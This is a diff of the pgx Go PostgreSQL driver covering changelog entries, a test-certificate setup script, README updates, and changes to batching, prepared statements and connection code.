* Improve CopyFrom auto-conversion of text-ish values
|
||||
* Add ltree type support (Florent Viel)
|
||||
* Make some properties of Batch and QueuedQuery public (Pavlo Golub)
|
||||
* Add AppendRows function (Edoardo Spadolini)
|
||||
* Optimize convert UUID [16]byte to string (Kirill Malikov)
|
||||
* Fix: LargeObject Read and Write of more than ~1GB at a time (Mitar)
|
||||
|
||||
# 5.5.2 (January 13, 2024)
|
||||
|
||||
* Allow NamedArgs to start with underscore
|
||||
* pgproto3: Maximum message body length support (jeremy.spriet)
|
||||
* Upgrade golang.org/x/crypto to v0.17.0
|
||||
* Add snake_case support to RowToStructByName (Tikhon Fedulov)
|
||||
* Fix: update description cache after exec prepare (James Hartig)
|
||||
* Fix: pipeline checks if it is closed (James Hartig and Ryan Fowler)
|
||||
* Fix: normalize timeout / context errors during TLS startup (Samuel Stauffer)
|
||||
* Add OnPgError for easier centralized error handling (James Hartig)
|
||||
|
||||
# 5.5.1 (December 9, 2023)
|
||||
|
||||
* Add CopyFromFunc helper function. (robford)
|
||||
* Add PgConn.Deallocate method that uses PostgreSQL protocol Close message.
|
||||
* pgx uses new PgConn.Deallocate method. This allows deallocating statements to work in a failed transaction. This fixes a case where the prepared statement map could become invalid.
|
||||
* Fix: Prefer driver.Valuer over json.Marshaler for json fields. (Jacopo)
|
||||
* Fix: simple protocol SQL sanitizer previously panicked if an invalid $0 placeholder was used. This now returns an error instead. (maksymnevajdev)
|
||||
* Add pgtype.Numeric.ScanScientific (Eshton Robateau)
|
||||
|
||||
# 5.5.0 (November 4, 2023)
|
||||
|
||||
* Add CollectExactlyOneRow. (Julien GOTTELAND)
|
||||
* Add OpenDBFromPool to create *database/sql.DB from *pgxpool.Pool. (Lev Zakharov)
|
||||
* Prepare can automatically choose statement name based on sql. This makes it easier to explicitly manage prepared statements.
|
||||
* Statement cache now uses deterministic, stable statement names.
|
||||
* database/sql prepared statement names are deterministically generated.
|
||||
* Fix: SendBatch wasn't respecting context cancellation.
|
||||
* Fix: Timeout error from pipeline is now normalized.
|
||||
* Fix: database/sql encoding json.RawMessage to []byte.
|
||||
* CancelRequest: Wait for the cancel request to be acknowledged by the server. This should improve PgBouncer compatibility. (Anton Levakin)
|
||||
* stdlib: Use Ping instead of CheckConn in ResetSession
|
||||
* Add json.Marshaler and json.Unmarshaler for Float4, Float8 (Kirill Mironov)
|
||||
|
||||
# 5.4.3 (August 5, 2023)
|
||||
|
||||
* Fix: QCharArrayOID was defined with the wrong OID (Christoph Engelbert)
|
||||
* Fix: connect_timeout for sslmode=allow|prefer (smaher-edb)
|
||||
* Fix: pgxpool: background health check cannot overflow pool
|
||||
* Fix: Check for nil in defer when sending batch (recover properly from panic)
|
||||
* Fix: json scan of non-string pointer to pointer
|
||||
* Fix: zeronull.Timestamptz should use pgtype.Timestamptz
|
||||
* Fix: NewConnsCount was not correctly counting connections created by Acquire directly. (James Hartig)
|
||||
* RowTo(AddrOf)StructByPos ignores fields with "-" db tag
|
||||
* Optimization: improve text format numeric parsing (horpto)
|
||||
|
||||
# 5.4.2 (July 11, 2023)
|
||||
|
||||
* Fix: RowScanner errors are fatal to Rows
|
||||
* Fix: Enable failover efforts when pg_hba.conf disallows non-ssl connections (Brandon Kauffman)
|
||||
* Hstore text codec internal improvements (Evan Jones)
|
||||
* Fix: Stop timers for background reader when not in use. Fixes memory leak when closing connections (Adrian-Stefan Mares)
|
||||
* Fix: Stop background reader as soon as possible.
|
||||
* Add PgConn.SyncConn(). This combined with the above fix makes it safe to directly use the underlying net.Conn.
|
||||
|
||||
# 5.4.1 (June 18, 2023)
|
||||
|
||||
* Fix: concurrency bug with pgtypeDefaultMap and simple protocol (Lev Zakharov)
|
||||
* Add TxOptions.BeginQuery to allow overriding the default BEGIN query
|
||||
|
||||
# 5.4.0 (June 14, 2023)
|
||||
|
||||
* Replace platform specific syscalls for non-blocking IO with more traditional goroutines and deadlines. This returns to the v4 approach with some additional improvements and fixes. This restores the ability to use a pgx.Conn over an ssh.Conn as well as other non-TCP or Unix socket connections. In addition, it is a significantly simpler implementation that is less likely to have cross platform issues.
|
||||
* Optimization: The default type registrations are now shared among all connections. This saves about 100KB of memory per connection. `pgtype.Type` and `pgtype.Codec` values are now required to be immutable after registration. This was already necessary in most cases but wasn't documented until now. (Lev Zakharov)
|
||||
* Fix: Ensure pgxpool.Pool.QueryRow.Scan releases connection on panic
|
||||
* CancelRequest: don't try to read the reply (Nicola Murino)
|
||||
* Fix: correctly handle bool type aliases (Wichert Akkerman)
|
||||
* Fix: pgconn.CancelRequest: Fix unix sockets: don't use RemoteAddr()
|
||||
* Fix: pgx.Conn memory leak with prepared statement caching (Evan Jones)
|
||||
* Add BeforeClose to pgxpool.Pool (Evan Cordell)
|
||||
* Fix: various hstore fixes and optimizations (Evan Jones)
|
||||
* Fix: RowToStructByPos with embedded unexported struct
|
||||
* Support different bool string representations (Lev Zakharov)
|
||||
* Fix: error when using BatchResults.Exec on a select that returns an error after some rows.
|
||||
* Fix: pipelineBatchResults.Exec() not returning error from ResultReader
|
||||
* Fix: pipeline batch results not closing pipeline when error occurs while reading directly from results instead of using
|
||||
a callback.
|
||||
* Fix: scanning a table type into a struct
|
||||
* Fix: scan array of record to pointer to slice of struct
|
||||
* Fix: handle null for json (Cemre Mengu)
|
||||
* Batch Query callback is called even when there is an error
|
||||
* Add RowTo(AddrOf)StructByNameLax (Audi P. Risa P)
|
||||
|
||||
# 5.3.1 (February 27, 2023)
|
||||
|
||||
* Fix: Support v4 and v5 stdlib in same program (Tomáš Procházka)
|
||||
|
||||
+2
-16
@@ -79,20 +79,11 @@ echo "listen_addresses = '127.0.0.1'" >> .testdb/$POSTGRESQL_DATA_DIR/postgresql
|
||||
echo "port = $PGPORT" >> .testdb/$POSTGRESQL_DATA_DIR/postgresql.conf
|
||||
cat testsetup/postgresql_ssl.conf >> .testdb/$POSTGRESQL_DATA_DIR/postgresql.conf
|
||||
cp testsetup/pg_hba.conf .testdb/$POSTGRESQL_DATA_DIR/pg_hba.conf
|
||||
cp testsetup/ca.cnf .testdb
|
||||
cp testsetup/localhost.cnf .testdb
|
||||
cp testsetup/pgx_sslcert.cnf .testdb
|
||||
|
||||
cd .testdb
|
||||
|
||||
# Generate a CA public / private key pair.
|
||||
openssl genrsa -out ca.key 4096
|
||||
openssl req -x509 -config ca.cnf -new -nodes -key ca.key -sha256 -days 365 -subj '/O=pgx-test-root' -out ca.pem
|
||||
|
||||
# Generate the certificate for localhost (the server).
|
||||
openssl genrsa -out localhost.key 2048
|
||||
openssl req -new -config localhost.cnf -key localhost.key -out localhost.csr
|
||||
openssl x509 -req -in localhost.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out localhost.crt -days 364 -sha256 -extfile localhost.cnf -extensions v3_req
|
||||
# Generate CA, server, and encrypted client certificates.
|
||||
go run ../testsetup/generate_certs.go
|
||||
|
||||
# Copy certificates to server directory and set permissions.
|
||||
cp ca.pem $POSTGRESQL_DATA_DIR/root.crt
|
||||
@@ -100,11 +91,6 @@ cp localhost.key $POSTGRESQL_DATA_DIR/server.key
|
||||
chmod 600 $POSTGRESQL_DATA_DIR/server.key
|
||||
cp localhost.crt $POSTGRESQL_DATA_DIR/server.crt
|
||||
|
||||
# Generate the certificate for client authentication.
|
||||
openssl genrsa -des3 -out pgx_sslcert.key -passout pass:certpw 2048
|
||||
openssl req -new -config pgx_sslcert.cnf -key pgx_sslcert.key -passin pass:certpw -out pgx_sslcert.csr
|
||||
openssl x509 -req -in pgx_sslcert.csr -CA ca.pem -CAkey ca.key -CAcreateserial -out pgx_sslcert.crt -days 363 -sha256 -extfile pgx_sslcert.cnf -extensions v3_req
|
||||
|
||||
cd ..
|
||||
```
|
||||
|
||||
|
||||
+19
-2
@@ -1,5 +1,5 @@
|
||||
[](https://pkg.go.dev/github.com/jackc/pgx/v5)
|
||||

|
||||
[](https://github.com/jackc/pgx/actions/workflows/ci.yml)
|
||||
|
||||
# pgx - PostgreSQL Driver and Toolkit
|
||||
|
||||
@@ -86,9 +86,13 @@ It is also possible to use the `database/sql` interface and convert a connection
|
||||
|
||||
See CONTRIBUTING.md for setup instructions.
|
||||
|
||||
## Architecture
|
||||
|
||||
See the presentation at Golang Estonia, [PGX Top to Bottom](https://www.youtube.com/watch?v=sXMSWhcHCf8) for a description of pgx architecture.
|
||||
|
||||
## Supported Go and PostgreSQL Versions
|
||||
|
||||
pgx supports the same versions of Go and PostgreSQL that are supported by their respective teams. For [Go](https://golang.org/doc/devel/release.html#policy) that is the two most recent major releases and for [PostgreSQL](https://www.postgresql.org/support/versioning/) the major releases in the last 5 years. This means pgx supports Go 1.19 and higher and PostgreSQL 11 and higher. pgx also is tested against the latest version of [CockroachDB](https://www.cockroachlabs.com/product/).
|
||||
pgx supports the same versions of Go and PostgreSQL that are supported by their respective teams. For [Go](https://golang.org/doc/devel/release.html#policy) that is the two most recent major releases and for [PostgreSQL](https://www.postgresql.org/support/versioning/) the major releases in the last 5 years. This means pgx supports Go 1.20 and higher and PostgreSQL 12 and higher. pgx also is tested against the latest version of [CockroachDB](https://www.cockroachlabs.com/product/).
|
||||
|
||||
## Version Policy
|
||||
|
||||
@@ -116,6 +120,7 @@ pgerrcode contains constants for the PostgreSQL error codes.
|
||||
|
||||
* [github.com/jackc/pgx-gofrs-uuid](https://github.com/jackc/pgx-gofrs-uuid)
|
||||
* [github.com/jackc/pgx-shopspring-decimal](https://github.com/jackc/pgx-shopspring-decimal)
|
||||
* [github.com/twpayne/pgx-geos](https://github.com/twpayne/pgx-geos) ([PostGIS](https://postgis.net/) and [GEOS](https://libgeos.org/) via [go-geos](https://github.com/twpayne/go-geos))
|
||||
* [github.com/vgarvardt/pgx-google-uuid](https://github.com/vgarvardt/pgx-google-uuid)
|
||||
|
||||
|
||||
@@ -132,13 +137,25 @@ These adapters can be used with the tracelog package.
|
||||
* [github.com/jackc/pgx-logrus](https://github.com/jackc/pgx-logrus)
|
||||
* [github.com/jackc/pgx-zap](https://github.com/jackc/pgx-zap)
|
||||
* [github.com/jackc/pgx-zerolog](https://github.com/jackc/pgx-zerolog)
|
||||
* [github.com/mcosta74/pgx-slog](https://github.com/mcosta74/pgx-slog)
|
||||
* [github.com/kataras/pgx-golog](https://github.com/kataras/pgx-golog)
|
||||
|
||||
## 3rd Party Libraries with PGX Support
|
||||
|
||||
### [github.com/pashagolub/pgxmock](https://github.com/pashagolub/pgxmock)
|
||||
|
||||
pgxmock is a mock library implementing pgx interfaces.
|
||||
pgxmock has one and only purpose - to simulate pgx behavior in tests, without needing a real database connection.
|
||||
|
||||
### [github.com/georgysavva/scany](https://github.com/georgysavva/scany)
|
||||
|
||||
Library for scanning data from a database into Go structs and more.
|
||||
|
||||
### [github.com/vingarcia/ksql](https://github.com/vingarcia/ksql)
|
||||
|
||||
A carefully designed SQL client for making using SQL easier,
|
||||
more productive, and less error-prone on Golang.
|
||||
|
||||
### [https://github.com/otan/gopgkrb5](https://github.com/otan/gopgkrb5)
|
||||
|
||||
Adds GSSAPI / Kerberos authentication support.
|
||||
|
||||
+35
-37
@@ -10,8 +10,8 @@ import (
|
||||
|
||||
// QueuedQuery is a query that has been queued for execution via a Batch.
|
||||
type QueuedQuery struct {
|
||||
query string
|
||||
arguments []any
|
||||
SQL string
|
||||
Arguments []any
|
||||
fn batchItemFunc
|
||||
sd *pgconn.StatementDescription
|
||||
}
|
||||
@@ -21,13 +21,10 @@ type batchItemFunc func(br BatchResults) error
|
||||
// Query sets fn to be called when the response to qq is received.
|
||||
func (qq *QueuedQuery) Query(fn func(rows Rows) error) {
|
||||
qq.fn = func(br BatchResults) error {
|
||||
rows, err := br.Query()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
rows, _ := br.Query()
|
||||
defer rows.Close()
|
||||
|
||||
err = fn(rows)
|
||||
err := fn(rows)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -60,22 +57,24 @@ func (qq *QueuedQuery) Exec(fn func(ct pgconn.CommandTag) error) {
|
||||
// Batch queries are a way of bundling multiple queries together to avoid
|
||||
// unnecessary network round trips. A Batch must only be sent once.
|
||||
type Batch struct {
|
||||
queuedQueries []*QueuedQuery
|
||||
QueuedQueries []*QueuedQuery
|
||||
}
|
||||
|
||||
// Queue queues a query to batch b. query can be an SQL query or the name of a prepared statement.
|
||||
// The only pgx option argument that is supported is QueryRewriter. Queries are executed using the
|
||||
// connection's DefaultQueryExecMode.
|
||||
func (b *Batch) Queue(query string, arguments ...any) *QueuedQuery {
|
||||
qq := &QueuedQuery{
|
||||
query: query,
|
||||
arguments: arguments,
|
||||
SQL: query,
|
||||
Arguments: arguments,
|
||||
}
|
||||
b.queuedQueries = append(b.queuedQueries, qq)
|
||||
b.QueuedQueries = append(b.QueuedQueries, qq)
|
||||
return qq
|
||||
}
|
||||
|
||||
// Len returns number of queries that have been queued so far.
|
||||
func (b *Batch) Len() int {
|
||||
return len(b.queuedQueries)
|
||||
return len(b.QueuedQueries)
|
||||
}
|
||||
|
||||
type BatchResults interface {
|
||||
@@ -142,7 +141,10 @@ func (br *batchResults) Exec() (pgconn.CommandTag, error) {
|
||||
}
|
||||
|
||||
commandTag, err := br.mrr.ResultReader().Close()
|
||||
br.err = err
|
||||
if err != nil {
|
||||
br.err = err
|
||||
br.mrr.Close()
|
||||
}
|
||||
|
||||
if br.conn.batchTracer != nil {
|
||||
br.conn.batchTracer.TraceBatchQuery(br.ctx, br.conn, TraceBatchQueryData{
|
||||
@@ -225,10 +227,10 @@ func (br *batchResults) Close() error {
|
||||
}
|
||||
|
||||
// Read and run fn for all remaining items
|
||||
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
|
||||
if br.b.queuedQueries[br.qqIdx].fn != nil {
|
||||
err := br.b.queuedQueries[br.qqIdx].fn(br)
|
||||
if err != nil && br.err == nil {
|
||||
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
|
||||
if br.b.QueuedQueries[br.qqIdx].fn != nil {
|
||||
err := br.b.QueuedQueries[br.qqIdx].fn(br)
|
||||
if err != nil {
|
||||
br.err = err
|
||||
}
|
||||
} else {
|
||||
@@ -251,10 +253,10 @@ func (br *batchResults) earlyError() error {
|
||||
}
|
||||
|
||||
func (br *batchResults) nextQueryAndArgs() (query string, args []any, ok bool) {
|
||||
if br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
|
||||
bi := br.b.queuedQueries[br.qqIdx]
|
||||
query = bi.query
|
||||
args = bi.arguments
|
||||
if br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
|
||||
bi := br.b.QueuedQueries[br.qqIdx]
|
||||
query = bi.SQL
|
||||
args = bi.Arguments
|
||||
ok = true
|
||||
br.qqIdx++
|
||||
}
|
||||
@@ -290,7 +292,7 @@ func (br *pipelineBatchResults) Exec() (pgconn.CommandTag, error) {
|
||||
results, err := br.pipeline.GetResults()
|
||||
if err != nil {
|
||||
br.err = err
|
||||
return pgconn.CommandTag{}, err
|
||||
return pgconn.CommandTag{}, br.err
|
||||
}
|
||||
var commandTag pgconn.CommandTag
|
||||
switch results := results.(type) {
|
||||
@@ -309,7 +311,7 @@ func (br *pipelineBatchResults) Exec() (pgconn.CommandTag, error) {
|
||||
})
|
||||
}
|
||||
|
||||
return commandTag, err
|
||||
return commandTag, br.err
|
||||
}
|
||||
|
||||
// Query reads the results from the next query in the batch as if the query has been sent with Query.
|
||||
@@ -384,24 +386,20 @@ func (br *pipelineBatchResults) Close() error {
|
||||
}
|
||||
}()
|
||||
|
||||
if br.err != nil {
|
||||
return br.err
|
||||
}
|
||||
|
||||
if br.lastRows != nil && br.lastRows.err != nil {
|
||||
if br.err == nil && br.lastRows != nil && br.lastRows.err != nil {
|
||||
br.err = br.lastRows.err
|
||||
return br.err
|
||||
}
|
||||
|
||||
if br.closed {
|
||||
return nil
|
||||
return br.err
|
||||
}
|
||||
|
||||
// Read and run fn for all remaining items
|
||||
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
|
||||
if br.b.queuedQueries[br.qqIdx].fn != nil {
|
||||
err := br.b.queuedQueries[br.qqIdx].fn(br)
|
||||
if err != nil && br.err == nil {
|
||||
for br.err == nil && !br.closed && br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
|
||||
if br.b.QueuedQueries[br.qqIdx].fn != nil {
|
||||
err := br.b.QueuedQueries[br.qqIdx].fn(br)
|
||||
if err != nil {
|
||||
br.err = err
|
||||
}
|
||||
} else {
|
||||
@@ -424,10 +422,10 @@ func (br *pipelineBatchResults) earlyError() error {
|
||||
}
|
||||
|
||||
func (br *pipelineBatchResults) nextQueryAndArgs() (query string, args []any, ok bool) {
|
||||
if br.b != nil && br.qqIdx < len(br.b.queuedQueries) {
|
||||
bi := br.b.queuedQueries[br.qqIdx]
|
||||
query = bi.query
|
||||
args = bi.arguments
|
||||
if br.b != nil && br.qqIdx < len(br.b.QueuedQueries) {
|
||||
bi := br.b.QueuedQueries[br.qqIdx]
|
||||
query = bi.SQL
|
||||
args = bi.Arguments
|
||||
ok = true
|
||||
br.qqIdx++
|
||||
}
|
||||
|
||||
+140
-83
@@ -2,6 +2,8 @@ package pgx
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
@@ -35,7 +37,7 @@ type ConnConfig struct {
|
||||
|
||||
// DefaultQueryExecMode controls the default mode for executing queries. By default pgx uses the extended protocol
|
||||
// and automatically prepares and caches prepared statements. However, this may be incompatible with proxies such as
|
||||
// PGBouncer. In this case it may be preferrable to use QueryExecModeExec or QueryExecModeSimpleProtocol. The same
|
||||
// PGBouncer. In this case it may be preferable to use QueryExecModeExec or QueryExecModeSimpleProtocol. The same
|
||||
// functionality can be controlled on a per query basis by passing a QueryExecMode as the first query argument.
|
||||
DefaultQueryExecMode QueryExecMode
|
||||
|
||||
@@ -99,8 +101,12 @@ func (ident Identifier) Sanitize() string {
|
||||
return strings.Join(parts, ".")
|
||||
}
|
||||
|
||||
// ErrNoRows occurs when rows are expected but none are returned.
|
||||
var ErrNoRows = errors.New("no rows in result set")
|
||||
var (
|
||||
// ErrNoRows occurs when rows are expected but none are returned.
|
||||
ErrNoRows = errors.New("no rows in result set")
|
||||
// ErrTooManyRows occurs when more rows than expected are returned.
|
||||
ErrTooManyRows = errors.New("too many rows in result set")
|
||||
)
|
||||
|
||||
var errDisabledStatementCache = fmt.Errorf("cannot use QueryExecModeCacheStatement with disabled statement cache")
|
||||
var errDisabledDescriptionCache = fmt.Errorf("cannot use QueryExecModeCacheDescribe with disabled description cache")
|
||||
@@ -178,7 +184,7 @@ func ParseConfigWithOptions(connString string, options ParseConfigOptions) (*Con
|
||||
case "simple_protocol":
|
||||
defaultQueryExecMode = QueryExecModeSimpleProtocol
|
||||
default:
|
||||
return nil, fmt.Errorf("invalid default_query_exec_mode: %v", err)
|
||||
return nil, fmt.Errorf("invalid default_query_exec_mode: %s", s)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -194,7 +200,7 @@ func ParseConfigWithOptions(connString string, options ParseConfigOptions) (*Con
|
||||
return connConfig, nil
|
||||
}
|
||||
|
||||
// ParseConfig creates a ConnConfig from a connection string. ParseConfig handles all options that pgconn.ParseConfig
|
||||
// ParseConfig creates a ConnConfig from a connection string. ParseConfig handles all options that [pgconn.ParseConfig]
|
||||
// does. In addition, it accepts the following options:
|
||||
//
|
||||
// - default_query_exec_mode.
|
||||
@@ -269,7 +275,7 @@ func connect(ctx context.Context, config *ConnConfig) (c *Conn, err error) {
|
||||
return c, nil
|
||||
}
|
||||
|
||||
// Close closes a connection. It is safe to call Close on a already closed
|
||||
// Close closes a connection. It is safe to call Close on an already closed
|
||||
// connection.
|
||||
func (c *Conn) Close(ctx context.Context) error {
|
||||
if c.IsClosed() {
|
||||
@@ -280,12 +286,15 @@ func (c *Conn) Close(ctx context.Context) error {
|
||||
return err
|
||||
}
|
||||
|
||||
// Prepare creates a prepared statement with name and sql. sql can contain placeholders
|
||||
// for bound parameters. These placeholders are referenced positional as $1, $2, etc.
|
||||
// Prepare creates a prepared statement with name and sql. sql can contain placeholders for bound parameters. These
|
||||
// placeholders are referenced positionally as $1, $2, etc. name can be used instead of sql with Query, QueryRow, and
|
||||
// Exec to execute the statement. It can also be used with Batch.Queue.
|
||||
//
|
||||
// Prepare is idempotent; i.e. it is safe to call Prepare multiple times with the same
|
||||
// name and sql arguments. This allows a code path to Prepare and Query/Exec without
|
||||
// concern for if the statement has already been prepared.
|
||||
// The underlying PostgreSQL identifier for the prepared statement will be name if name != sql or a digest of sql if
|
||||
// name == sql.
|
||||
//
|
||||
// Prepare is idempotent; i.e. it is safe to call Prepare multiple times with the same name and sql arguments. This
|
||||
// allows a code path to Prepare and Query/Exec without concern for if the statement has already been prepared.
|
||||
func (c *Conn) Prepare(ctx context.Context, name, sql string) (sd *pgconn.StatementDescription, err error) {
|
||||
if c.prepareTracer != nil {
|
||||
ctx = c.prepareTracer.TracePrepareStart(ctx, c, TracePrepareStartData{Name: name, SQL: sql})
|
||||
@@ -307,23 +316,48 @@ func (c *Conn) Prepare(ctx context.Context, name, sql string) (sd *pgconn.Statem
|
||||
}()
|
||||
}
|
||||
|
||||
sd, err = c.pgConn.Prepare(ctx, name, sql, nil)
|
||||
var psName, psKey string
|
||||
if name == sql {
|
||||
digest := sha256.Sum256([]byte(sql))
|
||||
psName = "stmt_" + hex.EncodeToString(digest[0:24])
|
||||
psKey = sql
|
||||
} else {
|
||||
psName = name
|
||||
psKey = name
|
||||
}
|
||||
|
||||
sd, err = c.pgConn.Prepare(ctx, psName, sql, nil)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if name != "" {
|
||||
c.preparedStatements[name] = sd
|
||||
if psKey != "" {
|
||||
c.preparedStatements[psKey] = sd
|
||||
}
|
||||
|
||||
return sd, nil
|
||||
}
|
||||
|
||||
// Deallocate released a prepared statement
|
||||
// Deallocate releases a prepared statement. Calling Deallocate on a non-existent prepared statement will succeed.
|
||||
func (c *Conn) Deallocate(ctx context.Context, name string) error {
|
||||
delete(c.preparedStatements, name)
|
||||
_, err := c.pgConn.Exec(ctx, "deallocate "+quoteIdentifier(name)).ReadAll()
|
||||
return err
|
||||
var psName string
|
||||
sd := c.preparedStatements[name]
|
||||
if sd != nil {
|
||||
psName = sd.Name
|
||||
} else {
|
||||
psName = name
|
||||
}
|
||||
|
||||
err := c.pgConn.Deallocate(ctx, psName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if sd != nil {
|
||||
delete(c.preparedStatements, name)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeallocateAll releases all previously prepared statements from the server and client, where it also resets the statement and description cache.
|
||||
@@ -382,11 +416,9 @@ func quoteIdentifier(s string) string {
|
||||
return `"` + strings.ReplaceAll(s, `"`, `""`) + `"`
|
||||
}
|
||||
|
||||
// Ping executes an empty sql statement against the *Conn
|
||||
// If the sql returns without error, the database Ping is considered successful, otherwise, the error is returned.
|
||||
// Ping delegates to the underlying *pgconn.PgConn.Ping.
|
||||
func (c *Conn) Ping(ctx context.Context) error {
|
||||
_, err := c.Exec(ctx, ";")
|
||||
return err
|
||||
return c.pgConn.Ping(ctx)
|
||||
}
|
||||
|
||||
// PgConn returns the underlying *pgconn.PgConn. This is an escape hatch method that allows lower level access to the
|
||||
@@ -443,7 +475,7 @@ optionLoop:
|
||||
if queryRewriter != nil {
|
||||
sql, arguments, err = queryRewriter.RewriteQuery(ctx, c, sql, arguments)
|
||||
if err != nil {
|
||||
return pgconn.CommandTag{}, fmt.Errorf("rewrite query failed: %v", err)
|
||||
return pgconn.CommandTag{}, fmt.Errorf("rewrite query failed: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -463,7 +495,7 @@ optionLoop:
|
||||
}
|
||||
sd := c.statementCache.Get(sql)
|
||||
if sd == nil {
|
||||
sd, err = c.Prepare(ctx, stmtcache.NextStatementName(), sql)
|
||||
sd, err = c.Prepare(ctx, stmtcache.StatementName(sql), sql)
|
||||
if err != nil {
|
||||
return pgconn.CommandTag{}, err
|
||||
}
|
||||
@@ -481,6 +513,7 @@ optionLoop:
|
||||
if err != nil {
|
||||
return pgconn.CommandTag{}, err
|
||||
}
|
||||
c.descriptionCache.Put(sd)
|
||||
}
|
||||
|
||||
return c.execParams(ctx, sd, arguments)
|
||||
@@ -509,7 +542,7 @@ func (c *Conn) execSimpleProtocol(ctx context.Context, sql string, arguments []a
|
||||
|
||||
mrr := c.pgConn.Exec(ctx, sql)
|
||||
for mrr.NextResult() {
|
||||
commandTag, err = mrr.ResultReader().Close()
|
||||
commandTag, _ = mrr.ResultReader().Close()
|
||||
}
|
||||
err = mrr.Close()
|
||||
return commandTag, err
|
||||
@@ -575,30 +608,35 @@ type QueryExecMode int32
|
||||
const (
|
||||
_ QueryExecMode = iota
|
||||
|
||||
// Automatically prepare and cache statements. This uses the extended protocol. Queries are executed in a single
|
||||
// round trip after the statement is cached. This is the default.
|
||||
// Automatically prepare and cache statements. This uses the extended protocol. Queries are executed in a single round
|
||||
// trip after the statement is cached. This is the default. If the database schema is modified or the search_path is
|
||||
// changed after a statement is cached then the first execution of a previously cached query may fail. e.g. If the
|
||||
// number of columns returned by a "SELECT *" changes or the type of a column is changed.
|
||||
QueryExecModeCacheStatement
|
||||
|
||||
// Cache statement descriptions (i.e. argument and result types) and assume they do not change. This uses the
|
||||
// extended protocol. Queries are executed in a single round trip after the description is cached. If the database
|
||||
// schema is modified or the search_path is changed this may result in undetected result decoding errors.
|
||||
// Cache statement descriptions (i.e. argument and result types) and assume they do not change. This uses the extended
|
||||
// protocol. Queries are executed in a single round trip after the description is cached. If the database schema is
|
||||
// modified or the search_path is changed after a statement is cached then the first execution of a previously cached
|
||||
// query may fail. e.g. If the number of columns returned by a "SELECT *" changes or the type of a column is changed.
|
||||
QueryExecModeCacheDescribe
|
||||
|
||||
// Get the statement description on every execution. This uses the extended protocol. Queries require two round trips
|
||||
// to execute. It does not use prepared statements (allowing usage with most connection poolers) and is safe even
|
||||
// when the the database schema is modified concurrently.
|
||||
// to execute. It does not use named prepared statements. But it does use the unnamed prepared statement to get the
|
||||
// statement description on the first round trip and then uses it to execute the query on the second round trip. This
|
||||
// may cause problems with connection poolers that switch the underlying connection between round trips. It is safe
|
||||
// even when the the database schema is modified concurrently.
|
||||
QueryExecModeDescribeExec
|
||||
|
||||
// Assume the PostgreSQL query parameter types based on the Go type of the arguments. This uses the extended protocol
|
||||
// with text formatted parameters and results. Queries are executed in a single round trip. Type mappings can be
|
||||
// registered with pgtype.Map.RegisterDefaultPgType. Queries will be rejected that have arguments that are
|
||||
// unregistered or ambigious. e.g. A map[string]string may have the PostgreSQL type json or hstore. Modes that know
|
||||
// unregistered or ambiguous. e.g. A map[string]string may have the PostgreSQL type json or hstore. Modes that know
|
||||
// the PostgreSQL type can use a map[string]string directly as an argument. This mode cannot.
|
||||
QueryExecModeExec
|
||||
|
||||
// Use the simple protocol. Assume the PostgreSQL query parameter types based on the Go type of the arguments.
|
||||
// Queries are executed in a single round trip. Type mappings can be registered with
|
||||
// pgtype.Map.RegisterDefaultPgType. Queries will be rejected that have arguments that are unregistered or ambigious.
|
||||
// pgtype.Map.RegisterDefaultPgType. Queries will be rejected that have arguments that are unregistered or ambiguous.
|
||||
// e.g. A map[string]string may have the PostgreSQL type json or hstore. Modes that know the PostgreSQL type can use
|
||||
// a map[string]string directly as an argument. This mode cannot.
|
||||
//
|
||||
@@ -648,6 +686,9 @@ type QueryRewriter interface {
|
||||
// returned Rows even if an error is returned. The error will be the available in rows.Err() after rows are closed. It
|
||||
// is allowed to ignore the error returned from Query and handle it in Rows.
|
||||
//
|
||||
// It is possible for a call of FieldDescriptions on the returned Rows to return nil even if the Query call did not
|
||||
// return an error.
|
||||
//
|
||||
// It is possible for a query to return one or more rows before encountering an error. In most cases the rows should be
|
||||
// collected before processing rather than processed while receiving each row. This avoids the possibility of the
|
||||
// application processing rows from a query that the server rejected. The CollectRows function is useful here.
|
||||
@@ -702,7 +743,7 @@ optionLoop:
|
||||
sql, args, err = queryRewriter.RewriteQuery(ctx, c, sql, args)
|
||||
if err != nil {
|
||||
rows := c.getRows(ctx, originalSQL, originalArgs)
|
||||
err = fmt.Errorf("rewrite query failed: %v", err)
|
||||
err = fmt.Errorf("rewrite query failed: %w", err)
|
||||
rows.fatal(err)
|
||||
return rows, err
|
||||
}
|
||||
@@ -812,7 +853,7 @@ func (c *Conn) getStatementDescription(
|
||||
}
|
||||
sd = c.statementCache.Get(sql)
|
||||
if sd == nil {
|
||||
sd, err = c.Prepare(ctx, stmtcache.NextStatementName(), sql)
|
||||
sd, err = c.Prepare(ctx, stmtcache.StatementName(sql), sql)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -862,15 +903,14 @@ func (c *Conn) SendBatch(ctx context.Context, b *Batch) (br BatchResults) {
|
||||
return &batchResults{ctx: ctx, conn: c, err: err}
|
||||
}
|
||||
|
||||
mode := c.config.DefaultQueryExecMode
|
||||
|
||||
for _, bi := range b.queuedQueries {
|
||||
for _, bi := range b.QueuedQueries {
|
||||
var queryRewriter QueryRewriter
|
||||
sql := bi.query
|
||||
arguments := bi.arguments
|
||||
sql := bi.SQL
|
||||
arguments := bi.Arguments
|
||||
|
||||
optionLoop:
|
||||
for len(arguments) > 0 {
|
||||
// Update Batch.Queue function comment when additional options are implemented
|
||||
switch arg := arguments[0].(type) {
|
||||
case QueryRewriter:
